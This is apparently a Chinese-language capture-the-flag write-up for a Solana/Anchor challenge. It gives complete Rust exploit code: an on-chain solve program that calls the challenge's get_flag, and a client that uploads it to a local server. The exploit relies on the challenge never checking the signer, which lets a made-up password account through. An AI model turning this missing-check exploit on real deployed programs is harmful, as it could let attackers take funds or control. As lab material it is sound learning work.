随意捏造一个满足条件的pubkey传入,没有写入或者判断signer。

但要注意此pubkey需要在一开始就传入(包含在instruction的accounts列表里),因为solana限制了后续访问仅限于给定的account。需要修改main.rs

同时这样配合anchor写起来也方便。

lib.rs

use anchor_lang::prelude::*;

use std::mem::transmute;

use anchor_spl::token::Token;

pub const PASSWORD_SEED: &[u8] = &[218, 21, 99, 30, 0, 1, 0, 0];
declare_id!("osecio1111111111111111111111111111111111111");

#[program]
pub mod solve {

    use super::*;

    pub fn solve(ctx: Context<Solve>) -> Result<()> {
        // let i: u64 = 1100021437914;
        // let seed: [u8; 8] = unsafe { transmute(i) };
        msg!("addr: {}", ctx.accounts.password.key());
        let cpi_accounts = chall::cpi::accounts::GetFlag {
            flag: ctx.accounts.state.to_account_info(),
            password: ctx.accounts.password.to_account_info(),
            payer: ctx.accounts.payer.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
            rent: ctx.accounts.rent.to_account_info(),
        };

        let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);

        chall::cpi::get_flag(cpi_ctx)?;
        Ok(())
    }
}

#[derive(Accounts)]
pub struct Solve<'info> {
    #[account(mut)]
    pub state: AccountInfo<'info>,
    #[account(mut)]
    pub payer: Signer<'info>,
    pub password: AccountInfo<'info>,

    pub system_program: Program<'info, System>,
    pub token_program: Program<'info, Token>,
    pub rent: Sysvar<'info, Rent>,
    pub chall: Program<'info, chall::program::Chall>
}

main.rs

use chall::anchor_lang::{InstructionData, ToAccountMetas};
use chall::FLAG_SEED;
use solve::PASSWORD_SEED;
use solana_program::pubkey;
use solana_program::pubkey::Pubkey;
use std::net::TcpStream;
use std::{error::Error, fs, io::prelude::*, io::BufReader, str::FromStr};

fn get_line<R: Read>(reader: &mut BufReader<R>) -> Result<String, Box<dyn Error>> {
    let mut line = String::new();
    reader.read_line(&mut line)?;

    let ret = line
        .split(':')
        .nth(1)
        .ok_or("invalid input")?
        .trim()
        .to_string();

    Ok(ret)
}

fn main() -> Result<(), Box<dyn Error>> {
    let mut stream = TcpStream::connect("127.0.0.1:8080")?;
    let mut reader = BufReader::new(stream.try_clone().unwrap());

    let mut line = String::new();

    let so_data = fs::read("./solve/target/deploy/solve.so")?;

    reader.read_line(&mut line)?;
    writeln!(stream, "{}", solve::ID)?;
    reader.read_line(&mut line)?;
    writeln!(stream, "{}", so_data.len())?;
    stream.write_all(&so_data)?;

    let chall_id = chall::ID;

    let user = Pubkey::from_str(&get_line(&mut reader)?)?;

    let ix = solve::instruction::Solve {};
    let data = ix.data();

    let state = Pubkey::find_program_address(&[FLAG_SEED], &chall_id).0;
    // let password = Pubkey::find_program_address(&[PASSWORD_SEED], &solve::ID).0;
    let password = pubkey!("8W4K4CZyZw3cYYdt8mkbpm4QVYqXNr7aguiXmbkN4i1M");
    let ix_accounts = solve::accounts::Solve {
        state,
        password: password,
        payer: user,
        token_program: spl_token::ID,
        chall: chall_id,
        system_program: solana_program::system_program::ID,
        rent: solana_program::sysvar::rent::ID,
    };

    let metas = ix_accounts.to_account_metas(None);

    reader.read_line(&mut line)?;
    writeln!(stream, "{}", metas.len())?;
    for meta in metas {
        let mut meta_str = String::new();
        meta_str.push('m');
        if meta.is_writable {
            meta_str.push('w');
        }
        if meta.is_signer {
            meta_str.push('s');
        }
        meta_str.push(' ');
        meta_str.push_str(&meta.pubkey.to_string());

        writeln!(stream, "{}", meta_str)?;
        stream.flush()?;
    }

    reader.read_line(&mut line)?;
    writeln!(stream, "{}", data.len())?;
    stream.write_all(&data)?;

    stream.flush()?;

    line.clear();
    while reader.read_line(&mut line)? != 0 {
        print!("{}", line);
        line.clear();
    }

    Ok(())
}